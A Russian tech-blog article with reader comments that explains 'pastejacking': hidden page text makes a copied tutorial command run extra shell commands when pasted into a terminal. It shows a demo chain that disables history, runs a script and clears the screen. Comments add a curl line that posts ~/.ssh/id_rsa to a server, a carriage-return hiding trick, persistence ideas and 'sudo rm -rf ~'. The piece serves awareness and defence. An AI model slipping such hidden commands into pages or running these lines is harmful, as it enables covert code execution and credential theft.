По ссылке всего лишь «демонстрация» данного вида атаки, но в любом случае данные действия лучше производить на
Ниже описание того, что случилось, в том случае, если вы не поленились произвести указанные выше действия.
Небольшое предисловие: часто бывает что работая с мануалами по настройке сервера лень вписывать все команды вручную, особенно длинные. Так же большинство приложений для работы в консоле игнорируют вставку перевода строки и просто моментально выполняют код.
Что если при копировании на странице кода подменить его таким образом, что бы при вставке в консоль — автоматически исполнились нужные команды и нюанс составляет только то, каким образом скрыть от глаз пользователя плохой код.
В итоге пришла такая мысль:
1. Просим пользователя повысить привилегии до рута, что как бы вполне логично, учитывая дальнейшую установку пакетов.
2. Пишем длинную команду, заставляя тем самым пользователя скопировать (именно скопировать а не ввести код руками).
3. При копировании — буфер обмена подменяется связкой нужных для проведения атаки команд. А именно:
set +o history && echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh && printf "\033c" && set -o history
sudo su
apt-get update && apt-get install mc && apt-get install vim && apt-get install htop && apt-get install man
Разбор первой строки:
1. Отключаем историю введенных команд
set +o history
2. Собственно создание и исполнение вредоносного кода
echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh
3. Очистка консольного экрана (можно и clear)
printf "\033c"
4. Включаем обратно историю
set -o history
Вторая строка — запись в историю введенной раньше команды.
И собственно код полезной нагрузки.
В итоге (зависит от используемой консоли), при вставке скопированного кода непосредственно в консоль — выполнятся нежелательные команды, которые не отобразятся в истории и на экране.
Если все прошло как надо — по адресу /tmp/test.sh будет находится «зловред», который в момент вставки кода в консоль успешно выполнился.
В общем, используйте терминалы которые предупреждают о вставке кода с переводами строк и не вставляйте бездумно код с непроверенных источников. Для Windows есть ConEmu, который предупреждает о вставке подобного кода.
P.S Приведенный выше пример — всего лишь мои догадки о возможной проблеме. На практике с таким не сталкивался.
Статья написана только с целью предостеречь пользователей о таком, вполне возможном векторе атаки.
UPD. Спасибо ValdikSS за наводку thejh.net/misc/website-terminal-copy-paste. Обновил пример.
Хотелось бы так же услышать мнение пользователей, на сколько реальная угроза на практике. И заметили ли вы выполнение кода после вставки скопированной команды в консоль.
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Комментарии (111)
Halt
17.01.2016 17:35+7Забавно. Кстати, строка подменяется только если использовать буфер по Ctrl+C. А вот копирование-вставка через выделение и третью кнопку мыши работает, хотя именно он обычно используется активнее всего.
ganjar
17.01.2016 19:47+6Обновил пример. Теперь копипаст через «третью кнопку мыши» сработает, + не нужен JS.
Halt
17.01.2016 19:50+1Есть кстати еще один коварный момент. Если вставлять в конец дополнительный перенос строки, то при втыкании буфера в терминал, команда уже выполнится к тому моменту, когда незадачливый пользователь ее прочитает.
ganjar
17.01.2016 19:54+4Собственно это и должно произойти. apt-get update тоже не спроста добавлен именно в данный кусок кода. Он выполняется сразу за вредоносом и должен замести следы длинным выводом.
xopkep
19.01.2016 19:27А бы сделал сначала apt-get update, затем зловред и затем установку. Потому что например у меня, после apt-get update проходит значительное время всего с одной строкой чтения базы данных.
destroy
17.01.2016 23:21+2Для этого в продвинутых эмуляторах, например, ConEmu существует диалог подтверждения выполнения если вставлен перевод строки. Думаю в этих ваших линуксах тоже должно подобное быть.
grossws
17.01.2016 17:40Ещё бывают варианты с длинными строками в середине инструкции, который принципиально не отличается.
Ovsiannikov
17.01.2016 18:58несколько лет назад была подобная статья, с тех пор подозрительные копи/пасты через блокнот проверяю.
И, кстати, не сработало т.к. Firefox+NoScript
ValdikSS
17.01.2016 19:21+9Ваш вариант не очень хороший.
thejh.net/misc/website-terminal-copy-paste — вот этот не только работает с выделением и вставкой третьей кнопкой мыши, но и не теряет выделения при нажатии CTRL+C.ganjar
17.01.2016 19:26+1Спасибо, интересное решение. В данном случае код скопируется даже при отключенном js.
mva
17.01.2016 20:08+17Не знаю. Возможно это влияние естественного отбора имени Gentoo, но я никогда не копипащу команды с сайтов.
Сначала знакомплюсь с принципиальным смыслом статьи и, читая до конца вникаю в суть происходящего. Потом в консоли руками пишу нужные команды. Длинные команды вообще никогда некопипащу. Не знаю по какой причине.
Кстати, то, что вы показали — ничто по сравнению с относительно довольно популярным в среде любителей «не думать, мы же не на экзамене»curl -sL <url> | sudo sh
и его вариации (например brew.sh/linuxbrew )
Gendalph
17.01.2016 20:35-2Окей-окей, а что будет если:
1. скопировать
2. открываем редактор комманд
EDITOR=vim fc
3. пастим
:+
4. ???
5. PROFIT
Вопрос: на п.3 можно пропихнуть vim'у escape-sequence Esc-:q!\n?lolhunter
17.01.2016 23:25Зачем так сложно? Можно же тупо в конец конфига дописать перенаправлением >>.
Gendalph
19.01.2016 00:43Прикол не в этом. Прикол в том, что если послать правильный escape-sequence, то можно выйти из любого редактора и всё равно выполнить что угодно. Пока проверить не дошли руки, но…
m0hn
17.01.2016 20:49Возможно я не буду полностью прав.
Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.
Я сегодня словил себя за этим, когда изучал команды для поднятия L2TP на Mikrotik, хотя их использовать вовсе.
Может стоит провести социальный эксперимент, который пакажет насколько это правда?Disen
17.01.2016 21:01+9Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.
А Вы наивный. IT-специалисты быть может и читают. Но далеко не все админы — IT-специалисты.
valera5505
17.01.2016 22:01+2Оба примера не работают, если выделять тройным кликом (я так делаю в случае длинных строк) — происходит выделение части строки, что может (и должно) вызвать подозрение
TimsTims
17.01.2016 23:47+6Вообще терпеть не могу, когда сайты без спроса или скриптами меняют твой буфер обмена, причем браузер даже не пискнет! Если надо что-то скопировать — то я сам выделю то, что МНЕ надо и всё.
Негодую и выражаю пожелание разработчикам браузеров что-то придумать с этимLopar
18.01.2016 11:53Если рассмотреть пример, то чисто технически — никакой подмены нет. Посмотрите исходный код. Вредоносный код присутствует в тексте, просто резко смещён за пределы экрана, при этом физически находясь на месте первого пробела. Если самостоятельно выделить первый пробел вы получите вредоносный текст. И это будет не подстановка — опять же технически вы сами его выделили и скопировали.
ganjar
18.01.2016 12:04Зависит от реализации. Первый вариант был с подменой на js — код подменялся в момент копирования. + в сss делалась подмена стиля выделения что бы не пропадало выделение после копирования.
nazarpc
17.01.2016 23:50+4Поэтому я сначала вставляю в текстовый редактор, а уже потом оттуда копирую если всё нормально на выполнение. И это только после проверки содержимого.
AlexGluck
18.01.2016 00:27Есть такая мысль, что перед вставкой проще вставлять 2 символа комментария строки. Я вот поймал себя на мысли, что уже 5 лет после того как где то накосячил делаю именно так. После чего видим весь код который вставлен и читаем уже его. Замечания, конечно, что могут быть 2 перевода строки уместны, но копи-паст нужен только на тестовых стендах. В продакшен идёт только отработанные технологии.
amarao
18.01.2016 00:41+8saboteur_kiev
18.01.2016 01:38+1А там уже duplicate и ссылка на https://bugzilla.mozilla.org/show_bug.cgi?id=504748 с RESOLVED WONTFIX…
Видимо не понимают, кому и зачем это нужно.
amarao
18.01.2016 03:02+2Я почитал оригинальный баг — суть в том, что «page developer can always create invisible text — with 0 size, spacing, etc» — и по этой причине закрыли, мол, экзестенциальное и нефиксируемое.
grieverrr
19.01.2016 16:56-1**дичайший оффтоп**
да ладно, охренеть, сёнен.ру? спасибо за счастливое онемедетство!
J_o_k_e_R
18.01.2016 01:35+1Код не сработал, не использую sudo и всегда копипасчу код, предварительно вставив #.
amarao
18.01.2016 03:00+6В конкретно этом примере вам нажмут «enter» и дадут другую команду на следующей строке. первая будет закомментирована, вторая выполнится.
Наличие пароля на sudo —
Я не уверен, что мой компьютер более ценен, чем мой $home.Mendel
18.01.2016 14:27+1Эшелонированная оборона важна в том числе и с целью восстановления после прорыва первых эшелонов.
Согласитесь, что компрометация рута увеличит масштаб и сроки ликвидации последствий компрометации почты, фейсбука и т.п.
Вредоносы могут сидеть где угодно, но на системном уровне их сложнее выловить.
Вспомнилась шутка:
https://pp.vk.me/c631619/v631619221/b6ba/fjgVxmtiOEc.jpgamarao
18.01.2016 15:44+2Компрометация root'а (обнаруженная) — это 15 минут на переустановку, возможно, даже с сохранением списка паролей и наиболее ценных конфигов.
А вот компрометация home (ака спёртые пароли и ключи) — это катастрофа, последствия которой будут кусать несколько лет.Mendel
18.01.2016 16:22Компрометация рута, если достаточно времени — гарантированно приведет в компрометации ВСЕХ пользователей системы.
Вне зависимости от любых настроек. 15 минут на переустановку? А весь софт, все конфиги это всё заново пересобирать, перечитывать, это тоже в 15 минут уложится?
Единственное преимущество в случае взлома рута это то, что его проще обнаружить, и есть высокий шанс, что атакующего кикнут быстрее чем он наломает дров.
Понятно что есть куча вариантов сигнализации о подозрительной активности, в том числе и переопределение альясов шела, о котором уже упоминали в этом топике. Конечно есть бекапы, есть регулярный анализ логов и т.п. Но в чистом виде компрометация рута опаснее.amarao
18.01.2016 17:31+1На домашней системе — ну сколько там системных конфигов-то? Я вот подумал-подумал, в моих домашних условиях — ну несколько mount'ов, настройки lightdm, да судо — и всё.
Тут надо рассматривать два вектора атаки: на сервер и на рабочую станцию админа.
На сервер: root — решает всё. Время восстановления обнаруженного компрометированного сервера — десятки минут (система управления конфигурациями, раскатывает всё с нуля). Ущерб — потенциальный ботнет и утечка данных с этого конкретного сервера. В 99% случаев ничего критического, максимум пара-тройка паролей к БД (которые быстро меняются и автоматически же раскатываются по остальным участникам процесса). Креденшалов сам сервер никаких не имеет, обычно всё по ключам, от которых у сервера нет приватных частей.
На рабочую станцию: рут не играет ощутимой роли, компрометация (кража) креденшалов — катастрофа неясного масштаба, так как есть множество аккаунтов, информация о топологии сети и настройки доступа к многим частям сети.
Пожалуй, я начну с большим уважением смотреть на аппаратный токен к VPN'у — его-то точно копипастом не сопрёшь.
J_o_k_e_R
18.01.2016 23:41Ну значит помимо # возьму на вооружение и копирование через блокнот.
А про пароль на sudo и вообще отсутствие sudo я к слову сказал. Тут я с Вами согласен, что на рабочей машине /home/ важнее всего остального.
Night_Snake
18.01.2016 01:44+1С недавних пор почему-то вставляю команды через блокнот/gedit. В основном дабы оптимизировать/отредактировать под себя. А тут вон оно как…
akrupa
18.01.2016 02:33+2В опросе не хватает опции. «Я всегда сначала копирую команды в текстовый редактор.» Соответственно, все трюки с буфером были замечены до того, как попали консоль.
alaska332
18.01.2016 02:56Один из множества социальных хаков.
К счастью нежизнеспособен, т.к. раскрутка контента для получения трафика админов, которые будут копипастить это в консоль, будет намного дороже выхлопа от захваченного сервера (в среднем).amarao
18.01.2016 03:12+3В среднем — да. Но вот у нас в компании есть люди, у которых есть рутовый/равный рутовому через sudo доступ на несколько десятков тысяч серверов. С исходящими каналами в несколько десятков терабит с нескольких континентов и просторными ipv4-сетями. Очевидно, что один такой аккаунт ценнее, чем несколько тысяч «рутов на своих vds'ках», или домашних пользователей с adsl'ками.
А ещё бывают сетевые администраторы. Или даже бэкоффис админы, которые имеют админский/рутовый доступ на компьютеры/сервера бухгалтерии, где тот или иной уровень к деньгам.
А если подумать про админов платёжных систем, разработчиков ПО для банкоматов и их maintanance-команды…
Короче, это атака не на «широкие массы», зато с потенциально очень большой глубиной проникновения.
Потому что очевидное место, куда должен писаться скрипт (из примера) — не в /tmp/, а куда-нибудь в районе ~/.xinitrc, crontab, ~/.config/autostart/, ~/.config/autostart-scripts, etc.
После этого скрипт очень аккуратно пытается подключиться к командному центру и дать возможность для анализа ~/.ssh/config админа (вуаля, на моей домашней машине — 163 строки, сколько на рабочем ноутбуке даже лениво считать, и половина из этого — с '*' в имени — то есть число машин очень обширно), и, можно сказать, deep penetration выполнен. Дальше нужно аккуратно стырить ssh-ключи с машины и проснифать пароли. (А рядом лежит gpg ключик, которому доверяют несколько роботов — он плюс пароль от него — ещё кусочек хаккерского счастья).
Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.alaska332
18.01.2016 13:31-3Вы вообще ничего не понимаете.
Никто не анализирует взломанный сервер вручную. Это дебильое занятие и потеря времени.
Если цель — именно эта компания и именно этот сервер — взламывать его через привлечение админа на ресурс и подсовывание ему комманд шлла никто не будет, вероятность — 0.
1. метод не массовый;
2. метод не подходит для таргетированного взлома;
3. практической пользы 0;
Почему вы решили, что ваши широкие ип4 адреса или каналы имеют какую-то ценность для хака? Вы считаете, что достаточно получить доступ к серваку и толстым каналом, хоть на час — и деньги сами потекут в руки?amarao
18.01.2016 15:48+5С учётом, что статья может быть нацелена на конкретную группу админов (например, «скрипт для автоматической балансировки маршрутов к AS между несколькими аплинками»), процент успешных попаданий будет очень высок.
Для таргетированного взлома очень даже подходит — натырил ~/.ssh/config, id_rsa, наснифал пароли — и всё, готовый суперботнет из роутеров и серверов.
Мои каналы точно представляют ценность — просто уточните на чёрном рынке, сколько стоит DoS-атака на 40000Гбит/с на час.
J_o_k_e_R
18.01.2016 23:48Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.
Эко ж Вас приторкнуло. Атака баян баяном. Я о ней услышал лет пять назад как минимум. Уже тогда баяном была.
Помимо копирования через блокнот, это надо быть очень сильно упоротым (а нефиг вообще что-то в терминале делать, если Вы упоротый), чтоб не заметить, что у вас взял и просто так экран очистился. Вообще хорошим тоном считается просматривать вывод команд, которые Вы ввели. А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.grossws
18.01.2016 23:51+1А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
Как это спасёт отmalicious_code(); echo -en "\r<a lot of spaces>\recho \"valid command\"\n"
?J_o_k_e_R
18.01.2016 23:55Это уже интереснее. Тут вроде только копирование через блокнот поможет. Но это никак не отменяет то, что «скрытое» копирование из броузера — баянище дремучее.
Wesha
18.01.2016 03:46Сразу вспомнилось:
Я – Чукотский вирус. В связи с очень плохим развитием информационных технологий на моей родине, я не могу причинить вред вашему компьютеру.
Пожалуйста, будьте любезны, сотрите самостоятельно несколько важных файлов с жесткого диска, а затем перешлите меня своим друзьям.
Заранее благодарен.
Чукотский вирус.TimsTims
18.01.2016 10:31-12Вот только родина — это страна. У Чукотки родиной будет — это Россия. Т.е. вы сказали:
«В связи с очень плохим развитием информационных технологий в России, я не могу причинить вред вашему компьютеру.»
А я бы не сказал, что всё очень плохо в России…Tairesh
18.01.2016 10:34+5«Когда государству от тебя что-то надо, оно начинает называть себя родиной»
Wesha
18.01.2016 10:37+6Госсподи, молодой человек, всюду Вам шпионы мерещатся.
Никогда бы не подумал, что на Хабре найдутся люди, которым надо разъяснять анекдоты. Этот анекдот существует в миллионе разных вариаций — вирус был то нигерийский, то таиландский, то ещё какой — это в целом неважно; но его смысл в том, что «у <авторов вируса> программисты настолько никакие, что чем пытаться программу написать, проще вежливо попросить хозяина компа». А не в том, чтобы мерятьсяпиписькамиинформационными технологиями.TimsTims
18.01.2016 11:35-6Я в курсе, и тоже читал разные версии и смысл их понятен, просто версия про «нигерийский вирус» была веселее, чем шутка про Россию, которая в целом не соответствует действительности, и шутка таким образом не удалась.
Это как сказать:
«В связи с очень плохим развитием информационных технологий в [b]Соединенных Штатах Америки[/b], я не могу причинить вред вашему компьютеру. -Ваш АНБ.»
Ну просто не смешно даже получается, я лишь про это имел ввиду. Неужели не понятно?bogolt
18.01.2016 15:21+6Почему бы и нет? Например «у нас в Канзасе очень плохо с компьютерами, есть только старая печатная машинка у учительницы Доротти...»
Wesha
18.01.2016 19:24+1А Вы не можете представить себе ситуацию, что мне лень было вспоминать точный текст этого письма, я нагуглил фразу «пожалуйста сотрите несколько файлов», и что первое попалось, то и скопипейстил? Без единой задней мысли?
В моё время патриоты с гранатами под танки бросались, а сейчас — с пеной у рта на анекдот. Тьфу.
chelaxe
18.01.2016 06:42Всегда веду файл инсталляции, в которой по порядку вношу все команды, которые собрался ввести и подправляю на свое усмотрение, и только потом топаю в консоль. Ну и бекапы, бекапы, бекапы!!!
monah_tuk
18.01.2016 07:44+2Помимо удаления и порчи информации, к сожалению, существует ещё и её кража. Никто не мешает даже без root в скрипте выполнить:
ну или что посложнее.curl -X POST -d @$HOME/.ssh/id_rsa http://server/page
Wesha
18.01.2016 07:59+14Тут вспоминается старая шутка «UNIX — система, в которой не знаешь, как сегодня называется команда ls».
И, кстати, в каждой шутке есть доля шутки. Помнится, лет 20 назад у нас в одной конторе на сервере команды ls, rm и т.д. были заменены скриптами, которые слали всем, кому положено, вопли о том, что «система зОхвачена врагами», а настоящие команды были переименованы во что-то другое, уже не помню что.
(Ведь, как Вы понимаете, любой нормальный хакер, вломившись на сервер, первым делом «осматривается», и угадайте, какой командой...)grieverrr
18.01.2016 17:11+2Интересно, сколько раз эту «сигналку» случайно срывали в похмельный понедельник или запарную пятницу? Вангую, недолго музыка играла.
Wesha
18.01.2016 19:38Своевременно полученные трындюли (за ложную тревогу) замечательно способствуют выработке условного рефлекса.
(Следует также заметить, что никто не запрещал админам на домашних машинах сделать так же итренироваться на кошкахвырабатывать привычку в повседневной жизни.)
Кроме того, пищать начинало сначала у админов, поэтому в случае ложной тревоги спрашивалось «кто бросил валенок на пульт??» и распространение сигнала дальше отменялось.
saboteur_kiev
19.01.2016 05:08+1После годов доса и команды dir, мне ls был так непривычен, что первым делом на ЛЮБОМ линуксе, я делаю себе алиас для ls и юзаю уже именно его.
Wesha
19.01.2016 05:12Вот и я про то же: ну какой нормальный хакер сможет вообще догадаться, что на нашем сервере ls — это вовсе не ls, а скрипт «рятуйте, прихожане, нас взломали!» (тем более, что в конце он всё равно вызывает ls, чтобы не спугнуть взломщика)
vlivyur
19.01.2016 10:44В openSUSE он уже есть, выводит то же самое что и ls -l
Program 'dir' is present in package 'coreutils', which is installed on your system.
Absolute path to 'dir' is '/usr/bin/dir'. Please check your $PATH variable to see whether it contains the mentioned path.
Wesha
18.01.2016 07:54+1бекапы, бекапы, бекапы!!!
Частые ZFS snapshots спасут отца русской демократии.
S0mnium
18.01.2016 11:19Давненько про такой же способ читал здесь же, на хабре. После этого взял за привычку копипастить сначала полный перечень в блокнот, а потом уже оттуда в консоль. Если вижу что-то подобное — сайт в бан.
Stepanow
18.01.2016 12:17+1Большинство новостных сайтов при копировании текста с них дописывают в конец что-то типа «Подробнее на newssite.ololo» и это вполне нормальная практика. Когда незадачливый копипастер невнимательно вставляет информацию на свою страничку или в форум, он делает источнику дополнительную рекламу.
S0mnium
18.01.2016 11:28Oh-my-zsh
Установка:
sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
На выходе в последующем он предлагает обновляться. Создаем нужный продукт, а в нужный момент просто подсовываем обновление.
Вот тут действительно большое количество пользователей линукс даже не заметят подвоха.
antiBILLotic
18.01.2016 11:44Интересная штука получается, впредь буду внимательнее относиться к сетевым мануалам/форумам/HowTo и посмотрю в сторону NoScript. За описание спасибо.
mtp
18.01.2016 16:11NoScript не спасает, хотя очень полезная штука. Технически немного некорректно описано, не «буфер обмена подменяется», а «выделением захватывается невидимый глазом кусок текста».
JerleShannara
18.01.2016 16:58Не сработало, т.к. уж не знаю почему(вернее знаю, мне лет десять назад javascript-ом подсунули патч брамина), но для копипасты команд привык использовать lynx/links, а оно болт ложит на всякие хтмл5/цсс/жабаскрипт/фонтсайз=0.
amarao
18.01.2016 17:33Ага, ага, особенно с сайтов, которые контент без js'а показать не могут.
JerleShannara
18.01.2016 18:07Ну вот хз, пока не встречал такого(при копипасте). А копировать что-то с сайта, который кроме мануала ещё предлагает увеличить член, узнать, что за кровавое месиво было на евровидении и узнать как сделать так, чтобы машина кушала 1л бензина, брр, спасибо, у меня доверия к таким сайтам просто нет.
amarao
18.01.2016 19:19+1Зато есть доверие к умному бложику про настройку foo c поддержкой BarSQL. Более того, если бы я был автором злого червя, то я бы написал саморазмножающегося червя, использующего креденшалы взломанного пользователя для замены во всех постах во всех социальных сетях и бложиках unix-команд на сниппет, который выполняет оригинальную команду и запускает червя.
JerleShannara
18.01.2016 19:38Если в хау-ту с умного бложика виднеются странные комманды со скачиванием файлов фигзнает откуда и запуска скачанного и прочие странности без внятного объяснения — то это хауту идет в дупу бодрым шагом и ищется другое по настройке foo с поддержкой blackjack и прочих sql. Задача в том, чтобы посмотреть глазом, понять что оно этим делает, и далее для ускорения отупения это дело скопипастить. Если такого хауту не находится, то быдлохауту изучается подробно и исправляется, либо становится ясным, что быстрое развертнывание накрылось медным тазом.
П.С. В продакшене оное я естественно применять не стану, предварительно едным тазом и пора курить мануалы.
П.П.С. А вот что будет если какая-то «добрая» душа ломанёт офф. сайт дистрибутива с документацией и навставляет туда скрытых приколов? От такого вариант просмотра через тупой браузер очень даже поможет.amarao
18.01.2016 21:50+1Виднеется? См пример в посте. В том-то и дело, что не виднеется.
Я серьёзно. Просто попробуйте перейти по ссылке и посмотреть на то, что написано на странице.JerleShannara
18.01.2016 23:46Ну перешел, и чего я там должен был пропустить?
Или вы забыли, с чего начался наш с вами диалог?
http://s019.radikal.ru/i632/1601/f5/2f50254ae552.png
grieverrr
18.01.2016 17:21+1Не далее как месяц назад похожим образом был подломлен один лабаз, торгующий за биткойны. В буфер, перед актуальным кошельком получателя, из хидден спана прилетал адрес кошелька кулхакира, и в поле ввода адреса получателя вставлялся именно он. Просто и изящно.
Mitch
18.01.2016 20:22От этой «атаки» текстовый редактор спасает, через него делаю обычно.
Но если сайт с инструкцией которую нагуглил админ подконтролен хакеру, то можно и тоньше сработать, так что блокнот не поможет.
Хакер может сдалать свой «неофициальный репозитарий», каких тысячи, и в командах указать его добавление в источкники и установку из него.
Аналогично просто свои .rpm, .deb итп.
И оттуда может и искомый софт ставится, паралельно с установкой трояна, для того чтобы админ успешно протестировав решение с чистой совестью залил трояна на продакшен.
Против этого — только выгугливать сайты с которых читаешь инструкции.
А если это был только что скомпрометированный сайт, то и вообще никак.
Из официальных репозиториев то то и дело что то недоступно к установке, и админ бродит по просторам ищет решение.amarao
18.01.2016 21:52+1Есть тонкая разница между «доверьтесь этому ключу» и «вот эта безобидная команда посчитатет вам foo по bar». Глазами видно, что ничего страшного нет (и не echo test tes test, разумеется), а просто математика в цикле у for, например. А внутрях у неё (в копипасте) — добавление job'ы в crontab.
hopungo
19.01.2016 13:36Скопировал, вставил в блокнот. Что сказать, неплохо, попасться можно. С другой стороны, вряд ли кто-то так делает и вряд ли 1% от 1% от всех десктопных юзеров составят серьёзный ботнет. Но идея годная, хотя бы для троллинга. Знать такое – обязательно!
webhamster
21.01.2016 08:07Так и не понял. Зловредный код выполняется до судо. В чем тайный смысл?
ganjar
21.01.2016 11:00Первый пункт в примере «Входим под супер пользователем:
sudo su
Дальше весь код выполняется под рутом»
Speakus
21.01.2016 12:38+2Даже без судо от зловредного кода ничего хорошего если он выполнится на пользовательской тачке.
saboteur_kiev
22.01.2016 03:24+3Тайный смысл в том, что социальная инженерия имеет такой инструмент, которым при должном использовании можно очень даже широко воспользоваться
relgames
21.01.2016 17:26Очистка экрана не сработала — оно просто проскролило строку вверх экрана. Я после каждой команды скроллю вверх и смотрю, что выполнилось.
iTerm2.
Tairesh
Кто же под убунтой копирует текст из браузера в терминал, если можно просто выделить и средней кнопкой мыши в нём нажать!
А по сабжу — банально нужно смотреть, что ты пишешь в консоль, если в какой-то статье будет «Введите в консоль
sudo rm -rf ~
чтобы установить GTA5» это тоже угроза безопасности?ganjar
1. Не все используют такой метод вставки команд, к тому же многие админят сервер из-под винды используя тот же PuTTY.
2. Тут история в том — что ты как раз смотришь что копируешь, только скопированный текст будет отличатся от ожидаемого.
qw1
Должно работать с администраторами, которые сидят в Windows и копируют команды из браузера в терминал putty.
Меня насторожило, что после выделения текста мышкой и выбора Copy из контекстного меню выделение пропало, обычно оно остаётся. Браузер Firefox.
ganjar
Сделал подмену стиля выделения. Да, действительно в Firefox не сработало. В хроме все ок.
Lopar
FF Developer Edition — выделение не пропадает.
saboteur_kiev
Я так понял, что пример обновили по совету ValdikSS, вот и не пропадает уже.
kekekeks
удалено
amarao
Средней кнопкой то же самое, кстати.
Levhav
Будучи только начинающим пользователем linux и ещё не зная всех команд я выполнил по чьему то гениальному совету с форума команду
что сбросить настройки compiz в значения по умолчанию. Совет конечно подействовал и настройки compiz реально сбросились, но это было хороший урок по восстановлению 6Гб фотокMendel
Патч Бримана это классика. Вроде как стыдно признаваться в том что попался. Но мне как-то не стыдно.
Я в свое время попался. Под рутом естественно.
И были не гифки а полноценный сервер на котором крутилась мини-атс с биллингом, ну и роутером работала потому что основная нагрузка на сеть была именно на атс.
Попался я потому, что в аську мне ее кинул мой хороший знакомый админ которому я доверял гораздо большие вещи чем сервер.
А он так пошутил потому что был уверен, что я более опытный чем на самом деле, и пойму шутку, а не буду ее выполнять.
В принципе его понять можно, потому что опыт программирования у меня к тому времени был большой, я даже как-то кем-то командовать успевал, сервак в значительной мере сам перед этим поднял, по крайней мере телефонный софт собирал сам, железо для АТС настраивал сам, биллинг писал сам. А вот патч Бримана выполнил).
Но сейчас это хорошее воспоминание.
1 — меня еще в школе научили как обращаться с оружием, и я не могу сделать над собой усилие в тире, пластмассовыми пульками стрелять по мишеням, если в другой стороне, совсем-совсем сбоку, но на линии огня находится человек. Но вот то, что с кодом нужно так-же само, и нельзя надеяться на какие-то умолчания типа как тут «он же умный» — это я понял только в этой истории.
2 — был интересный, чисто теоретический опыт, что после полной очистки файловой системы сервер продолжал работать. Не всё, но основные функции да.
3 — эпичный для меня опыт воскрешения сервера в короткие сроки, когда мы с тем самым админом в четыре руки работали на горячем сервере. Тогда основной функционал восстановили часа за два. Потом упал основной канал интернета. В те годы резервом у нас был… диалап на ISA-шном модеме. Подняли канал на 28.8к. Я поигрался с кодеками. дальше картина: я лежу под столом на физической консоли воскрешаю целостность биллинга. Админ через putty качает какие-то пакеты, что-то обновляет и приводит в рабочее состояние. Качает. Звонок клиента. Коннект, всё ок. Второй звонок. Скорость скачивания упала в ноль. Но что-то качается. Админ даже что-то серфит. Всё это напомню на 28.8кбит. Потом этих клиентов опрашивали — сказали что связь была препоршивая, хотя разговаривать было возможно, но некомфортно, поэтому они поговорили коротко и отложили на потом.
Но это сейчас, когда от фирмы уже не осталось ничего кроме горсти железа на чердаке… Сейчас забавно вспоминать. Тогда обидно было :)
Chamie
Mendel
Да, конечно. Простите.